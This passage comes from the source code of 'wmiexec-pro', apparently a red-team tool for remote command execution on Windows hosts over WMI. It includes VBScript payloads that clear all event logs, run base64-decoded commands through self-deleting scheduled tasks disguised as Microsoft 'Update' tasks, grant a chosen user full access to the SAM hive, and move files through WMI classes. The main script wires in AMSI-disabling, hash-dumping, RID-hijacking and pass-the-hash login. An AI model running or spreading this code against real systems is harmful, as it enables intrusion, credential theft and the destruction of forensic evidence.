full_Results[tmp_dict["ServiceName"]] = tmp_dict 121 | except Exception as e: 122 | if str(e).find("S_FALSE") < 0: 123 | pass 124 | else: 125 | break 126 | with open(save_FileName, "w") as f: 127 | f.write(json.dumps(full_Results, indent=4)) 128 | self.logger.info(f"Whole the services info are dumped to {save_FileName}") 129 | iEnumWbemClassObject.RemRelease() 130 | # Todo: modify moudles -------------------------------------------------------------------------------- /lib/modules/winrm.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from lib.modules.service_mgr import Service_Toolkit 4 | from lib.modules.firewall import Firewall_Toolkit 5 | 6 | 7 | class WINRM_Toolkit(): 8 | def __init__(self, iWbemLevel1Login, dcom): 9 | self.logger = logging.getLogger("wmiexec-pro") 10 | self.iWbemLevel1Login = iWbemLevel1Login 11 | self.dcom = dcom 12 | 13 | def WINRM_Wrapper(self, flag): 14 | executer_Service = Service_Toolkit(self.iWbemLevel1Login, self.dcom) 15 | if flag == "enable": 16 | executer_Service.control_Service(action="start", serviceName="WINRM") 17 | self.configure_Firewall(flag) 18 | self.logger.log(100, "Enabled WINRM service and configure firewall.") 19 | else: 20 | executer_Service.control_Service(action="stop", serviceName="WINRM") 21 | self.configure_Firewall(flag) 22 | self.logger.log(100, "Disabled WINRM service and configure firewall.") 23 | 24 | def configure_Firewall(self,flag): 25 | winrm_Firewall = Firewall_Toolkit(self.iWbemLevel1Login) 26 | self.logger.info("Configuring winrm firewall...") 27 | id_List = ["WINRM-HTTP-In-TCP", "WINRM-HTTP-In-TCP-PUBLIC"] 28 | for i in id_List: 29 | winrm_Firewall.rule_Controller(i,flag) -------------------------------------------------------------------------------- /lib/vbscripts/ClearEventlog.vbs: -------------------------------------------------------------------------------- 1 | Set LogFileSet = GetObject("winmgmts:{(Backup,Security)}").ExecQuery("select * from Win32_NTEventLogFile") 2 | 3 | for each Logfile in LogFileSet 4 | RetVal = LogFile.ClearEventlog() 5 | next -------------------------------------------------------------------------------- /lib/vbscripts/CreateClass.vbs: -------------------------------------------------------------------------------- 1 | wbemCimtypeString = 8 2 | Set objSWbemService = GetObject("Winmgmts:root\cimv2") 3 | Set objClass = objSWbemService.Get() 4 | objClass.Path_.Class = "REPLACE_WITH_CLASSNAME" 5 | 6 | ' Add a property 7 | ' String property 8 | objClass.Properties_.add "CreationClassName", wbemCimtypeString 9 | objClass.Properties_.add "DebugOptions", wbemCimtypeString 10 | 11 | ' Make the property a key property 12 | objClass.Properties_("CreationClassName").Qualifiers_.add "key", true 13 | objClass.Properties_("DebugOptions").Qualifiers_.add "read", true 14 | 15 | ' Write the new class to the root\default namespace in the repository 16 | Set objClassPath = objClass.Put_ 17 | 18 | 'Create an instance of the new class using SWbemObject.SpawnInstance 19 | Set objNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME").Spawninstance_ 20 | objNewInst.CreationClassName = "Backup" 21 | objNewInst.DebugOptions = "For windows backup services" 22 | 23 | ' Write the instance into the repository 24 | Set objInstancePath = objNewInst.Put_ 25 | 'WScript.Echo objInstancePath.Path 26 | -------------------------------------------------------------------------------- /lib/vbscripts/Exec-Command-Silent-UnderNT6-II.vbs: -------------------------------------------------------------------------------- 1 | Dim time_zone 2 | Dim exec_time 3 | 4 | outputFile="REPLACE_WITH_DEST" 5 | Const data="REPLACE_WITH_DATA" 6 | 7 | B64toBinary data, outputFile 8 | AddJobWithRes 9 | 10 | Function GetTime() 11 | wbemCimtypeString = 8 12 | Set objSWbemService = GetObject("Winmgmts:root\cimv2") 13 | Set colItems = objSWbemService.ExecQuery("SELECT * FROM Win32_TimeZone", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly ) 14 | For Each objItem In colItems 15 | time_zone = objItem.Bias 16 | if time_zone > 0 Then 17 | time_zone = "+" & time_zone 18 | End IF 19 | Next 20 | 21 | ' Delay one minute 22 | Dim tmp_time 23 | tmp_time = DateAdd("n",1,Now()) 24 | exec_time = hour(tmp_time)*100 + minute(tmp_time) 25 | End Function 26 | 27 | Function AddJobWithRes() 28 | GetTime() 29 | Set objSWbemService = GetObject("Winmgmts:root\cimv2") 30 | exec_time = "********"&exec_time&"00.000000"&time_zone 31 | command = "c:\windows\system32\cmd.exe /Q /c REPLACE_WITH_COMMAND" 32 | Set objNewJob = objSWbemService.Get("Win32_ScheduledJob") 33 | errJobCreated = objNewJob.Create(command, exec_time, True , , , True, JobId) 34 | End Function 35 | 36 | Function B64toBinary(data, outputFile) 37 | Set oXML = CreateObject("Msxml2.DOMDocument") 38 | Set oNode = oXML.CreateElement("base64") 39 | oNode.dataType = "bin.base64" 40 | oNode.text = data 41 | ' oNode.text = contents 42 | 43 | Set BinaryStream = CreateObject("ADODB.Stream") 44 | BinaryStream.Type = 1 'adTypeBinary 45 | BinaryStream.Open 46 | BinaryStream.Write oNode.nodeTypedValue 47 | BinaryStream.SaveToFile outputFile 48 | End Function -------------------------------------------------------------------------------- /lib/vbscripts/Exec-Command-Silent-UnderNT6.vbs: -------------------------------------------------------------------------------- 1 | Dim time_zone 2 | Dim exec_time 3 | Dim command 4 | command = "c:\windows\system32\cmd.exe /Q /c "& Base64StringDecode("REPLACE_WITH_COMMAND") 5 | 6 | AddJobWithRes 7 | 8 | Function GetTime() 9 | wbemCimtypeString = 8 10 | Set objSWbemService = GetObject("Winmgmts:root\cimv2") 11 | Set colItems = objSWbemService.ExecQuery("SELECT * FROM Win32_TimeZone", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly ) 12 | For Each objItem In colItems 13 | time_zone = objItem.Bias 14 | if time_zone > 0 Then 15 | time_zone = "+" & time_zone 16 | End IF 17 | Next 18 | 19 | ' Delay one minute 20 | Dim tmp_time 21 | tmp_time = DateAdd("n",1,Now()) 22 | exec_time = hour(tmp_time)*100 + minute(tmp_time) 23 | End Function 24 | 25 | Function AddJobWithRes() 26 | GetTime() 27 | Set objSWbemService = GetObject("Winmgmts:root\cimv2") 28 | exec_time = "********"&exec_time&"00.000000"&time_zone 29 | Set objNewJob = objSWbemService.Get("Win32_ScheduledJob") 30 | errJobCreated = objNewJob.Create(command, exec_time, True , , , True, JobId) 31 | End Function 32 | 33 | Function Base64StringDecode(ByVal vCode) 34 | Set oXML = CreateObject("Msxml2.DOMDocument") 35 | Set oNode = oXML.CreateElement("base64") 36 | oNode.dataType = "bin.base64" 37 | oNode.text = vCode 38 | Set BinaryStream = CreateObject("ADODB.Stream") 39 | BinaryStream.Type = 1 40 | BinaryStream.Open 41 | BinaryStream.Write oNode.nodeTypedValue 42 | BinaryStream.Position = 0 43 | BinaryStream.Type = 2 44 | ' All Format => utf-16le - utf-8 - utf-16le 45 | BinaryStream.CharSet = "utf-8" 46 | Base64StringDecode = BinaryStream.ReadText 47 | Set BinaryStream = Nothing 48 | Set oNode = Nothing 49 | End Function 50 | -------------------------------------------------------------------------------- /lib/vbscripts/Exec-Command-Silent.vbs: -------------------------------------------------------------------------------- 1 | ' From wmihacker 2 | Dim command 3 | command = Base64StringDecode("REPLACE_WITH_COMMAND") 4 | 5 | Const TriggerTypeDaily = 1 6 | Const ActionTypeExec = 0 7 | Set service = CreateObject("Schedule.Service") 8 | Call service.Connect 9 | Dim rootFolder 10 | Set rootFolder = service.GetFolder("\") 11 | Dim taskDefinition 12 | Set taskDefinition = service.NewTask(0) 13 | Dim regInfo 14 | Set regInfo = taskDefinition.RegistrationInfo 15 | regInfo.Description = "Update" 16 | regInfo.Author = "Microsoft" 17 | Dim settings 18 | Set settings = taskDefinition.settings 19 | settings.Enabled = True 20 | settings.StartWhenAvailable = True 21 | settings.Hidden = False 22 | settings.DisallowStartIfOnBatteries = False 23 | Dim triggers 24 | Set triggers = taskDefinition.triggers 25 | Dim trigger 26 | Set trigger = triggers.Create(7) 27 | Dim Action 28 | Set Action = taskDefinition.Actions.Create(ActionTypeExec) 29 | Action.Path = "c:\windows\system32\cmd.exe" 30 | Action.arguments = "/Q /c " & command 31 | Dim objNet, LoginUser 32 | Set objNet = CreateObject("WScript.Network") 33 | LoginUser = objNet.UserName 34 | If UCase(LoginUser) = "SYSTEM" Then 35 | Else 36 | LoginUser = Empty 37 | End If 38 | Call rootFolder.RegisterTaskDefinition("REPLACE_WITH_TASK", taskDefinition, 6, LoginUser, , 3) 39 | Call rootFolder.DeleteTask("REPLACE_WITH_TASK",0) 40 | 41 | Function Base64StringDecode(ByVal vCode) 42 | Set oXML = CreateObject("Msxml2.DOMDocument") 43 | Set oNode = oXML.CreateElement("base64") 44 | oNode.dataType = "bin.base64" 45 | oNode.text = vCode 46 | Set BinaryStream = CreateObject("ADODB.Stream") 47 | BinaryStream.Type = 1 48 | BinaryStream.Open 49 | BinaryStream.Write oNode.nodeTypedValue 50 | BinaryStream.Position = 0 51 | BinaryStream.Type = 2 52 | ' All Format => utf-16le - utf-8 - utf-16le 53 | BinaryStream.CharSet = "utf-8" 54 | Base64StringDecode = BinaryStream.ReadText 55 | Set BinaryStream = Nothing 56 | Set oNode = Nothing 57 | End Function 58 | -------------------------------------------------------------------------------- /lib/vbscripts/Exec-Command-WithOutput-Shell.vbs: -------------------------------------------------------------------------------- 1 | Dim command 2 | Dim cwd 3 | command = Base64StringDecode("REPLACE_WITH_COMMAND") 4 | cwd = Base64StringDecode("REPLACE_WITH_CWD") 5 | 6 | If FileExists("C:\Windows\Temp\REPLACE_WITH_FILENAME") Then 7 | inputFile = "C:\Windows\Temp\REPLACE_WITH_FILENAME" 8 | Set inStream = CreateObject("ADODB.Stream") 9 | inStream.Open 10 | inStream.type= 1 'TypeBinary 11 | inStream.LoadFromFile(inputFile) 12 | readBytes = inStream.Read() 13 | 14 | Set oXML = CreateObject("Msxml2.DOMDocument") 15 | Set oNode = oXML.CreateElement("base64") 16 | oNode.dataType = "bin.base64" 17 | oNode.nodeTypedValue = readBytes 18 | Base64Encode = oNode.text 19 | 20 | On Error Resume Next 21 | Set objTestNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME.CreationClassName=""RELEACE_WITH_UUID""") 22 | If Err.Number <> 0 Then 23 | Err.Clear 24 | wbemCimtypeString = 8 25 | Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME") 26 | Set objInstance = objClass.spawninstance_ 27 | objInstance.CreationClassName = "RELEACE_WITH_UUID" 28 | objInstance.DebugOptions = Base64Encode 29 | objInstance.put_ 30 | Else 31 | End If 32 | Else 33 | Const TriggerTypeDaily = 1 34 | Const ActionTypeExec = 0 35 | Set service = CreateObject("Schedule.Service") 36 | Call service.Connect 37 | Dim rootFolder 38 | Set rootFolder = service.GetFolder("\") 39 | Dim taskDefinition 40 | Set taskDefinition = service.NewTask(0) 41 | Dim regInfo 42 | Set regInfo = taskDefinition.RegistrationInfo 43 | regInfo.Description = "Update" 44 | regInfo.Author = "Microsoft" 45 | Dim settings 46 | Set settings = taskDefinition.settings 47 | settings.Enabled = True 48 | settings.StartWhenAvailable = True 49 | settings.Hidden = False 50 | settings.DisallowStartIfOnBatteries = False 51 | Dim triggers 52 | Set triggers = taskDefinition.triggers 53 | Dim trigger 54 | Set trigger = triggers.Create(7) 55 | Dim Action 56 | Set Action = taskDefinition.Actions.Create(ActionTypeExec) 57 | Action.Path = "c:\windows\system32\cmd.exe" 58 | Action.arguments = "/Q /c c^d /d " & cwd & " & e^c^h^o [COMMAND] > C:\Windows\Temp\REPLACE_WITH_FILENAME & " & command & " 1>> C:\Windows\Temp\REPLACE_WITH_FILENAME 2>&1 & e^c^h^o [PATH] >> C:\Windows\Temp\REPLACE_WITH_FILENAME & c^d >> C:\Windows\Temp\REPLACE_WITH_FILENAME" 59 | Dim objNet, LoginUser 60 | Set objNet = CreateObject("WScript.Network") 61 | LoginUser = objNet.UserName 62 | If UCase(LoginUser) = "SYSTEM" Then 63 | Else 64 | LoginUser = Empty 65 | End If 66 | Call rootFolder.RegisterTaskDefinition("REPLACE_WITH_TASK", taskDefinition, 6, LoginUser, , 3) 67 | Call rootFolder.DeleteTask("REPLACE_WITH_TASK",0) 68 | End If 69 | 70 | Function FileExists(FilePath) 71 | Set fso = CreateObject("Scripting.FileSystemObject") 72 | If fso.FileExists(FilePath) Then 73 | FileExists=CBool(1) 74 | Else 75 | FileExists=CBool(0) 76 | End If 77 | End Function 78 | 79 | Function Base64StringDecode(ByVal vCode) 80 | Set oXML = CreateObject("Msxml2.DOMDocument") 81 | Set oNode = oXML.CreateElement("base64") 82 | oNode.dataType = "bin.base64" 83 | oNode.text = vCode 84 | Set BinaryStream = CreateObject("ADODB.Stream") 85 | BinaryStream.Type = 1 86 | BinaryStream.Open 87 | BinaryStream.Write oNode.nodeTypedValue 88 | BinaryStream.Position = 0 89 | BinaryStream.Type = 2 90 | ' All Format => utf-16le - utf-8 - utf-16le 91 | BinaryStream.CharSet = "utf-8" 92 | Base64StringDecode = BinaryStream.ReadText 93 | Set BinaryStream = Nothing 94 | Set oNode = Nothing 95 | End Function 96 | -------------------------------------------------------------------------------- /lib/vbscripts/Exec-Command-WithOutput-UnderNT6.vbs: -------------------------------------------------------------------------------- 1 | Dim time_zone 2 | Dim exec_time 3 | Dim results_save 4 | Dim command 5 | results_save = "C:\Windows\Temp\REPLACE_WITH_FILENAME" 6 | command = "c:\windows\system32\cmd.exe /Q /c "& Base64StringDecode("REPLACE_WITH_COMMAND") &" 1> " & results_save & " 2>&1" 7 | 8 | ' Avoid execute command duplicated 9 | If FileExists(results_save) Then 10 | Set inStream = CreateObject("ADODB.Stream") 11 | inStream.Open 12 | inStream.type= 1 'TypeBinary 13 | inStream.LoadFromFile(results_save) 14 | readBytes = inStream.Read() 15 | 16 | Set oXML = CreateObject("Msxml2.DOMDocument") 17 | Set oNode = oXML.CreateElement("base64") 18 | oNode.dataType = "bin.base64" 19 | oNode.nodeTypedValue = readBytes 20 | Base64Encode = oNode.text 21 | 22 | On Error Resume Next 23 | Set objTestNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME.CreationClassName=""RELEACE_WITH_UUID""") 24 | If Err.Number <> 0 Then 25 | Err.Clear 26 | wbemCimtypeString = 8 27 | Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME") 28 | Set objInstance = objClass.spawninstance_ 29 | objInstance.CreationClassName = "RELEACE_WITH_UUID" 30 | objInstance.DebugOptions = Base64Encode 31 | objInstance.put_ 32 | Else 33 | End If 34 | Else 35 | AddJobWithRes 36 | End If 37 | 38 | Function FileExists(FilePath) 39 | Set fso = CreateObject("Scripting.FileSystemObject") 40 | If fso.FileExists(FilePath) Then 41 | FileExists=CBool(1) 42 | Else 43 | FileExists=CBool(0) 44 | End If 45 | End Function 46 | 47 | Function GetTime() 48 | wbemCimtypeString = 8 49 | Set objSWbemService = GetObject("Winmgmts:root\cimv2") 50 | Set colItems = objSWbemService.ExecQuery("SELECT * FROM Win32_TimeZone", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly ) 51 | For Each objItem In colItems 52 | time_zone = objItem.Bias 53 | if time_zone > 0 Then 54 | time_zone = "+" & time_zone 55 | End IF 56 | Next 57 | 58 | ' Delay one minute 59 | Dim tmp_time 60 | tmp_time = DateAdd("n",1,Now()) 61 | exec_time = hour(tmp_time)*100 + minute(tmp_time) 62 | End Function 63 | 64 | Function AddJobWithRes() 65 | GetTime() 66 | Set objSWbemService = GetObject("Winmgmts:root\cimv2") 67 | exec_time = "********"&exec_time&"00.000000"&time_zone 68 | Set objNewJob = objSWbemService.Get("Win32_ScheduledJob") 69 | errJobCreated = objNewJob.Create(command, exec_time, True , , , True, JobId) 70 | If errJobCreated <> 0 Then 71 | wbemCimtypeString = 8 72 | Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME") 73 | Set objInstance = objClass.spawninstance_ 74 | objInstance.CreationClassName = "RELEACE_WITH_UUID" 75 | ' "Create job error" 76 | objInstance.DebugOptions = "Q3JlYXRlIGpvYiBlcnJvcg==" 77 | objInstance.put_ 78 | Else 79 | End If 80 | Dim done 81 | done = false 82 | Do Until done 83 | Wscript.Sleep 2000 84 | If FileExists(results_save) Then 85 | done = true 86 | End If 87 | loop 88 | End Function 89 | 90 | Function Base64StringDecode(ByVal vCode) 91 | Set oXML = CreateObject("Msxml2.DOMDocument") 92 | Set oNode = oXML.CreateElement("base64") 93 | oNode.dataType = "bin.base64" 94 | oNode.text = vCode 95 | Set BinaryStream = CreateObject("ADODB.Stream") 96 | BinaryStream.Type = 1 97 | BinaryStream.Open 98 | BinaryStream.Write oNode.nodeTypedValue 99 | BinaryStream.Position = 0 100 | BinaryStream.Type = 2 101 | ' All Format => utf-16le - utf-8 - utf-16le 102 | BinaryStream.CharSet = "utf-8" 103 | Base64StringDecode = BinaryStream.ReadText 104 | Set BinaryStream = Nothing 105 | Set oNode = Nothing 106 | End Function 107 | -------------------------------------------------------------------------------- /lib/vbscripts/Exec-Command-WithOutput.vbs: -------------------------------------------------------------------------------- 1 | Dim command 2 | command = Base64StringDecode("REPLACE_WITH_COMMAND") 3 | 4 | If FileExists("C:\Windows\Temp\REPLACE_WITH_FILENAME") Then 5 | inputFile = "C:\Windows\Temp\REPLACE_WITH_FILENAME" 6 | Set inStream = CreateObject("ADODB.Stream") 7 | inStream.Open 8 | inStream.type= 1 'TypeBinary 9 | inStream.LoadFromFile(inputFile) 10 | readBytes = inStream.Read() 11 | 12 | Set oXML = CreateObject("Msxml2.DOMDocument") 13 | Set oNode = oXML.CreateElement("base64") 14 | oNode.dataType = "bin.base64" 15 | oNode.nodeTypedValue = readBytes 16 | Base64Encode = oNode.text 17 | 18 | On Error Resume Next 19 | Set objTestNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME.CreationClassName=""RELEACE_WITH_UUID""") 20 | If Err.Number <> 0 Then 21 | Err.Clear 22 | wbemCimtypeString = 8 23 | Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME") 24 | Set objInstance = objClass.spawninstance_ 25 | objInstance.CreationClassName = "RELEACE_WITH_UUID" 26 | objInstance.DebugOptions = Base64Encode 27 | objInstance.put_ 28 | Else 29 | End If 30 | Else 31 | Const TriggerTypeDaily = 1 32 | Const ActionTypeExec = 0 33 | Set service = CreateObject("Schedule.Service") 34 | Call service.Connect 35 | Dim rootFolder 36 | Set rootFolder = service.GetFolder("\") 37 | Dim taskDefinition 38 | Set taskDefinition = service.NewTask(0) 39 | Dim regInfo 40 | Set regInfo = taskDefinition.RegistrationInfo 41 | regInfo.Description = "Update" 42 | regInfo.Author = "Microsoft" 43 | Dim settings 44 | Set settings = taskDefinition.settings 45 | settings.Enabled = True 46 | settings.StartWhenAvailable = True 47 | settings.Hidden = False 48 | settings.DisallowStartIfOnBatteries = False 49 | Dim triggers 50 | Set triggers = taskDefinition.triggers 51 | Dim trigger 52 | Set trigger = triggers.Create(7) 53 | Dim Action 54 | Set Action = taskDefinition.Actions.Create(ActionTypeExec) 55 | Action.Path = "c:\windows\system32\cmd.exe" 56 | Action.arguments = "/Q /c " & command & " 1> C:\Windows\Temp\REPLACE_WITH_FILENAME 2>&1" 57 | Dim objNet, LoginUser 58 | Set objNet = CreateObject("WScript.Network") 59 | LoginUser = objNet.UserName 60 | If UCase(LoginUser) = "SYSTEM" Then 61 | Else 62 | LoginUser = Empty 63 | End If 64 | Call rootFolder.RegisterTaskDefinition("REPLACE_WITH_TASK", taskDefinition, 6, LoginUser, , 3) 65 | Call rootFolder.DeleteTask("REPLACE_WITH_TASK",0) 66 | End If 67 | 68 | Function FileExists(FilePath) 69 | Set fso = CreateObject("Scripting.FileSystemObject") 70 | If fso.FileExists(FilePath) Then 71 | FileExists=CBool(1) 72 | Else 73 | FileExists=CBool(0) 74 | End If 75 | End Function 76 | 77 | Function Base64StringDecode(ByVal vCode) 78 | Set oXML = CreateObject("Msxml2.DOMDocument") 79 | Set oNode = oXML.CreateElement("base64") 80 | oNode.dataType = "bin.base64" 81 | oNode.text = vCode 82 | Set BinaryStream = CreateObject("ADODB.Stream") 83 | BinaryStream.Type = 1 84 | BinaryStream.Open 85 | BinaryStream.Write oNode.nodeTypedValue 86 | BinaryStream.Position = 0 87 | BinaryStream.Type = 2 88 | ' All Format => utf-16le - utf-8 - utf-16le 89 | BinaryStream.CharSet = "utf-8" 90 | Base64StringDecode = BinaryStream.ReadText 91 | Set BinaryStream = Nothing 92 | Set oNode = Nothing 93 | End Function 94 | -------------------------------------------------------------------------------- /lib/vbscripts/GrantSamAccessPermission.vbs: -------------------------------------------------------------------------------- 1 | strUser = "REPLACE_WITH_USER" 2 | Set objWMIService = GetObject("winmgmts:\\.\root\Cimv2") 3 | Set colUsers = objWMIService.ExecQuery("SELECT * FROM Win32_Account WHERE Name='"&strUser&"'") 4 | If colUsers.count<>0 Then 5 | For Each objUser In colUsers 6 | strSID = objUser.SID 7 | Next 8 | Else 9 | End If 10 | 11 | Set objSID = objWMIService.Get("Win32_SID.SID='"&strSID&"'") 12 | 13 | Set objTrustee = objWMIService.Get("Win32_Trustee").SpawnInstance_() 14 | objTrustee.Domain = objSID.ReferencedDomainName 15 | objTrustee.Name = objSID.AccountName 16 | objTrustee.SID = objSID.BinaryRepresentation 17 | objTrustee.SidLength = objSID.SidLength 18 | objTrustee.SIDString = objSID.Sid 19 | 20 | Set objNewACE = objWMIService.Get("Win32_ACE").SpawnInstance_() 21 | objNewACE.AccessMask = 983103 22 | objNewACE.AceType = 0 23 | objNewACE.AceFlags = 2 24 | objNewACE.Trustee = objTrustee 25 | 26 | Const HKLM = &H80000002 27 | strKeyPath = "SAM\SAM" 28 | Set oReg = GetObject("Winmgmts:\root\default:StdRegProv") 29 | RetVal = oReg.GetSecurityDescriptor(HKLM,strKeyPath,wmiSecurityDescriptor) 30 | DACL = wmiSecurityDescriptor.DACL 31 | ReDim objNewDacl(0) 32 | Set objNewDacl(0) = objNewACE 33 | For each objACE in DACL 34 | Ubd = UBound(objNewDacl) 35 | ReDim preserve objNewDacl(Ubd+1) 36 | Set objNewDacl(Ubd+1) = objACE 37 | Next 38 | wmiSecurityDescriptor.DACL = objNewDacl 39 | RetVal = oReg.SetSecurityDescriptor(HKLM,strKeyPath,wmiSecurityDescriptor) 40 | wscript.echo RetVal -------------------------------------------------------------------------------- /lib/vbscripts/LocalFileIntoClass.vbs: -------------------------------------------------------------------------------- 1 | Dim inputFile 2 | inputFile = Base64Decode("REPLACE_WITH_TARGET_FILE") 3 | 4 | Set objStream = CreateObject("ADODB.Stream") 5 | objStream.Type = 1 'Binary 6 | objStream.Open 7 | objStream.LoadFromFile inputFile 8 | data = objStream.Read 9 | 10 | Set oXML = CreateObject("Msxml2.DOMDocument") 11 | Set oNode = oXML.CreateElement("base64") 12 | oNode.dataType = "bin.base64" 13 | oNode.nodeTypedValue = data 14 | Base64Encode = oNode.text 15 | 16 | wbemCimtypeString = 8 17 | Set objSWbemService = GetObject("Winmgmts:root\cimv2") 18 | Set objClass = objSWbemService.Get("REPLACE_WITH_CLASSNAME") 19 | 20 | Set objInstance = objClass.spawninstance_ 21 | objInstance.CreationClassName = "RELEACE_WITH_UUID" 22 | objInstance.DebugOptions = Base64Encode 23 | objInstance.put_ 24 | 25 | Function Base64Decode(ByVal vCode) 26 | Set oNode = CreateObject("Msxml2.DOMDocument").CreateElement("base64") 27 | oNode.dataType = "bin.base64" 28 | oNode.text = vCode 29 | Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue) 30 | Set oNode = Nothing 31 | End Function 32 | 33 | Function Stream_BinaryToString(Binary) 34 | Set BinaryStream = CreateObject("ADODB.Stream") 35 | BinaryStream.Type = 1 36 | BinaryStream.Open 37 | BinaryStream.Write Binary 38 | BinaryStream.Position = 0 39 | BinaryStream.Type = 2 40 | ' All Format => utf-16le - utf-8 - utf-16le 41 | BinaryStream.CharSet = "utf-8" 42 | Stream_BinaryToString = BinaryStream.ReadText 43 | Set BinaryStream = Nothing 44 | End Function -------------------------------------------------------------------------------- /lib/vbscripts/RemoveTempFile.vbs: -------------------------------------------------------------------------------- 1 | Set TempFileSet = GetObject("winmgmts:\\.\ROOT\cimv2").ExecQuery("Select * from CIM_DataFile Where Path = ""\\Windows\\Temp\\"" And Extension = ""log"" And FileName Like ""windows-object%""") 2 | 3 | for each Tempfile in TempFileSet 4 | Tempfile.Delete() 5 | next -------------------------------------------------------------------------------- /lib/vbscripts/WriteFile.vbs: -------------------------------------------------------------------------------- 1 | Function Base64Decode(ByVal vCode) 2 | Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64") 3 | oNode.dataType = "bin.base64" 4 | oNode.text = vCode 5 | Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue) 6 | Set oNode = Nothing 7 | End Function 8 | 9 | Function Stream_BinaryToString(Binary) 10 | Set BinaryStream = CreateObject("ADODB.Stream") 11 | BinaryStream.Type = 1 12 | BinaryStream.Open 13 | BinaryStream.Write Binary 14 | BinaryStream.Position = 0 15 | BinaryStream.Type = 2 16 | ' All Format => utf-16le - utf-8 - utf-16le 17 | BinaryStream.CharSet = "utf-8" 18 | Stream_BinaryToString = BinaryStream.ReadText 19 | Set BinaryStream = Nothing 20 | End Function 21 | 22 | Dim xmldoc, node, bytes 23 | Set xmldoc = CreateObject("Msxml2.DOMDocument") 24 | Set node = xmldoc.CreateElement("binary") 25 | node.DataType = "bin.base64" 26 | node.Text = "REPLACE_WITH_DATA" 27 | bytes = node.NodeTypedValue 28 | FilePath = Base64Decode("REPLACE_WITH_DEST") 29 | Set objStream = CreateObject("ADODB.Stream") 30 | objStream.Type = 1 'Binary 31 | objStream.Open 32 | objStream.Write bytes 33 | objStream.SaveToFile FilePath 34 | objStream.Close -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | impacket 2 | numpy 3 | -------------------------------------------------------------------------------- /todo: -------------------------------------------------------------------------------- 1 | - Fast response in wmi query (switch to execute vbs) 2 | - More customized configuration 3 | - Wmi class derived 4 | - Hashdump shadowcopy & regsecret 5 | - Modify service 6 | - SMB takeover -------------------------------------------------------------------------------- /wmiexec-pro.py: -------------------------------------------------------------------------------- 1 | from __future__ import division 2 | from __future__ import print_function 3 | 4 | import sys 5 | import argparse 6 | import time 7 | import logging 8 | 9 | from lib.logger import Log 10 | from lib.modules.enumrate import ENUM 11 | from lib.modules.amsi import AMSI 12 | from lib.modules.exec_command import EXEC_COMMAND, EXEC_COMMAND_SHELL 13 | from lib.modules.filetransfer import filetransfer_Toolkit 14 | from lib.modules.rdp import RDP_Toolkit 15 | from lib.modules.winrm import WINRM_Toolkit 16 | from lib.modules.firewall import Firewall_Toolkit 17 | from lib.modules.eventlog_fucker import eventlog_Toolkit 18 | from lib.modules.service_mgr import Service_Toolkit 19 | from lib.methods.executeVBS import executeVBS_Toolkit 20 | from lib.modules.rid_hijack import RID_Hijack_Toolkit 21 | from lib.modules.hashdump import Hashdump 22 | 23 | from impacket.examples.utils import parse_target 24 | from impacket import version 25 | from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION 26 | from impacket.dcerpc.v5.dcom import wmi 27 | from impacket.krb5.keytab import Keytab 28 | 29 | 30 | WBEM_FLAG_CREATE_ONLY = 0x00000002 31 | OUTPUT_FILENAME = f"__{time.time()!s}" 32 | 33 | class WMIEXEC: 34 | def __init__(self, username="", password="", domain="", hashes=None, aesKey=None, doKerberos=False, kdcHost=None, remoteHost="", options=None): 35 | self.__username = username 36 | self.__password = password 37 | self.__domain = domain 38 | self.__lmhash = "" 39 | self.__nthash = "" 40 | self.__aesKey = aesKey 41 | self.__doKerberos = doKerberos 42 | self.__kdcHost = kdcHost 43 | self.__remoteHost = remoteHost 44 | self.__options = options 45 | self.__logger = logging.getLogger("wmiexec-pro") 46 | 47 | if hashes: 48 | self.__lmhash, self.__nthash = hashes.split(":") 49 | 50 | def run(self, addr): 51 | dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 52 | self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, remoteHost=self.__remoteHost) 53 | try: 54 | iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) 55 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 56 | 57 | if self.__options.module == "enum": 58 | executer_ENUM = ENUM(iWbemLevel1Login) 59 | if self.__options.basic: 60 | executer_ENUM.basic_Enum() 61 | elif self.__options.tasklist: 62 | executer_ENUM.tasklist() 63 | 64 | if self.__options.module == "amsi": 65 | executer_AMSI = AMSI(iWbemLevel1Login) 66 | if self.__options.enable: 67 | executer_AMSI.amsi_Wrapper("enable") 68 | if self.__options.disable: 69 | executer_AMSI.amsi_Wrapper("disable") 70 | 71 | if self.__options.module == "exec-command": 72 | if self.__options.shell: 73 | try: 74 | executer_Shell = EXEC_COMMAND_SHELL(iWbemLevel1Login, dcom, self.__options.codec, addr) 75 | executer_Shell.interval = self.__options.timeout 76 | executer_Shell.cmdloop() 77 | except (Exception, KeyboardInterrupt) as e: 78 | if logging.getLogger("wmiexec-pro").level == logging.DEBUG: 79 | import traceback 80 | traceback.print_exc() 81 | self.__logger.error(str(e)) 82 | dcom.disconnect() 83 | sys.exit(1) 84 | else: 85 | executer_ExecCommand = EXEC_COMMAND(iWbemLevel1Login, self.__options.codec) 86 | executer_ExecCommand.timeout = self.__options.timeout 87 | if self.__options.command: 88 | if self.__options.silent: 89 | executer_ExecCommand.exec_command_silent(command=self.__options.command, old=self.__options.old) 90 | else: 91 | executer_ExecCommand.exec_command_WithOutput(command=self.__options.command, save_Result=self.__options.save, hostname=addr, old=self.__options.old) 92 | 